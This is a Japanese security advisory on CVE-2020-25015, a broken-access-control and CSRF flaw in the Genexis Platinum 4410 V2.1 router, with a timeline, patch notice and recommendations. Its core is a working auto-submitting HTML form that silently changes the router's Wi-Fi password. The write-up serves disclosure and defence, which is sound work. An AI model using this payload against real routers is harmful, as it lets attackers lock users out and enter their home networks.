ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

Genexis Platinum 4410 ルーター V2.1 におけるアクセス制御の不備と CSRF 脆弱性

家庭用ルーター「Genexis Platinum 4410」バージョン2.1(ソフトウェアバージョン:P4410-V2-1.28)の検証作業中に、本機がアクセス制御の不備(Broken Access Control)およびCSRF(Cross-Site Request Forgery)の脆弱性を抱えていることを確認しました。

CVE ID: CVE-2020-25015

概要

Platinum 4410は、Genexis社が提供する家庭向けのコンパクトなルーターで、一般家庭で広く利用されています。今回、ハードウェアバージョンV2.1・ソフトウェアバージョンP4410-V2-1.28において、アクセス制御の不備とCSRF脆弱性が確認されました。これら2つの脆弱性を組み合わせることで、攻撃者はリモートからWi-Fiアクセスポイントのパスワードを変更できてしまう可能性があります。

CSRFの仕組みや詳細については、関連記事をご参照ください。

影響

攻撃者は被害者に対して悪意のあるリンクを送りつけることができます。被害者が、脆弱なルーターが構築しているWi-Fiネットワークに接続した状態でそのリンクをクリックすると、CSRF攻撃によってWi-Fiアクセスポイントのパスワードが勝手に変更されてしまいます。さらに、このルーターはアクセス制御の不備も抱えているため、被害者がルーターのWeb設定画面(192.168.1.1)にログインしている必要すらありません。つまり、わずかワンクリックで攻撃が成立してしまう、極めて深刻な状態といえます。

脆弱性の詳細

本来、この種の攻撃は成立させるのが困難です。CSRF攻撃を成功させるためには、被害者が攻撃対象のアプリケーション(この場合は192.168.1.1のWeb設定画面)にログインしている必要がありますが、多くのルーター設定画面ではセッションが自動的に終了される仕組みになっています。加えて、ユーザーが自身のルーター設定ページにアクセスすること自体がまれであることも、攻撃の障壁となります。

しかしながら、報告時点で最新だったファームウェアにはアクセス制御の不備が存在していたため、認証を受けていない第三者でもパスワード変更のリクエストを送信できてしまう状態でした。

そのため、本ファームウェアバージョンにおけるCSRFとアクセス制御の不備を組み合わせることで、攻撃者は以下のようなコードを含むHTMLドキュメントを作成し、ユーザーを誘導して送信させることが可能になります。

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
      <input type="hidden" name="wlEnbl" value="ON" />
      <input type="hidden" name="hwlKeys0" value="" />
      <input type="hidden" name="hwlKeys1" value="" />
      <input type="hidden" name="hwlKeys2" value="" />
      <input type="hidden" name="hwlKeys3" value="" />
      <input type="hidden" name="hwlgMode" value="9" />
      <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
      <input type="hidden" name="hwlEnbl" value="1" />
      <input type="hidden" name="hWPSMode" value="1" />
      <input type="hidden" name="henableSsid" value="1" />
      <input type="hidden" name="hwlHide" value="0" />
      <input type="hidden" name="isInWPSing" value="0" />
      <input type="hidden" name="WpsConfModeAll" value="7" />
      <input type="hidden" name="WpsConfModeNone" value="0" />
      <input type="hidden" name="hWpsStart" value="0" />
      <input type="hidden" name="isCUCSupport" value="0" />
      <input type="hidden" name="SSIDPre" value="N&#47;A" />
      <input type="hidden" name="bwControlhidden" value="0" />
      <input type="hidden" name="ht&#95;bw" value="1" />
      <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
      <input type="hidden" name="wlChannel" value="0" />
      <input type="hidden" name="wlTxPwr" value="1" />
      <input type="hidden" name="wlSsidIdx" value="0" />
      <input type="hidden" name="SSID&#95;Flag" value="0" />
      <input type="hidden" name="wlSsid" value="JINSON" />
      <input type="hidden" name="wlMcs" value="33" />
      <input type="hidden" name="bwControl" value="1" />
      <input type="hidden" name="giControl" value="1" />
      <input type="hidden" name="enableSsid" value="on" />
      <input type="hidden" name="wlAssociateNum" value="32" />
      <input type="hidden" name="wlSecurMode" value="WPAand11i" />
      <input type="hidden" name="wlPreauth" value="off" />
      <input type="hidden" name="wlNetReauth" value="1" />
      <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
      <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
      <input type="hidden" name="wlWpaGtkRekey" value="" />
      <input type="hidden" name="wlRadiusIPAddr" value="" />
      <input type="hidden" name="wlRadiusPort" value="" />
      <input type="hidden" name="wlRadiusKey" value="" />
      <input type="hidden" name="wlWpa" value="TKIPAES" />
      <input type="hidden" name="wlKeyBit" value="64" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="WpsActive" value="0" />
      <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
      <input type="hidden" name="pinvalue" value="" />
      <input type="hidden" name="Save&#95;Flag" value="1" />
      <input type="submit" value="Submit request" />
    </form>
     <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

被害者が対象ルーターが提供するWi-Fiアクセスポイントに接続している限り、上記のコードによってアクセスポイントのパスワードが実際に変更されてしまいます。攻撃を受けたユーザーはWi-Fiに接続できなくなるだけでなく、攻撃者が新たなパスワードを使ってネットワークへ侵入するリスクにもさらされます。

タイムライン

  • 2020年8月28日:Genexisチームに対して脆弱性を報告
  • 2020年9月14日:開発チームが修正を含むファームウェアのリリースを確認

推奨事項

  • Genexisチームによると、ユーザーはISP(インターネットサービスプロバイダ)に連絡し、最新のファームウェアを入手する必要があります。
  • ファームウェアをアップグレードできない場合は、より安全性の高いルーターへの買い替えを検討してください。

参考情報

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
  • https://nvd.nist.gov/vuln/detail/CVE-2020-25015


  1. BelkinルーターでWi-Fiに接続できない?原因と10の対処法を徹底解説

    ベルキン(Belkin)は、世界で最も信頼されているルーターブランドの一つです。多数のデバイスに対して高速かつ安定したワイヤレス接続を提供することで知られています。しかし、いざ使おうとしたときにWi-Fiへアクセスできなければ、せっかくの高性能ルーターも宝の持ち腐れになってしまいます。近年、「Belkinルーター経由でWi-Fiに接続できない」という相談が増えています。本記事では、BelkinルーターでWi-Fiに正常にアクセスするための方法を、初心者の方にもわかりやすく完全ガイドとしてまとめました。Belkinルーターへの接続が成功するかどうかは、主にWindows側のネットワーク設定に左右

  2. ベルキンルーターでWi-Fiにアクセスできないときの対処法【原因と解決策を徹底解説】

    ベルキン(Belkin)は世界で最も信頼されているルーターブランドの一つで、多数のデバイスに対して高速かつ安定したワイヤレス接続を提供することで知られています。しかし、いざ使おうとしたときにWi-Fiにアクセスできなければ、せっかくの高性能ルーターも意味がありません。近年、ベルキンルーターを経由してWi-Fiにアクセスできないというケースが報告されています。本記事では、ベルキンルーターでWi-Fiにアクセスするための完全ガイドを解説します。ベルキンルーターへの正常な接続は、主にWindows側のネットワーク設定に依存しています。接続の問題が発生した場合は、まずイーサネットケーブルでルーターに直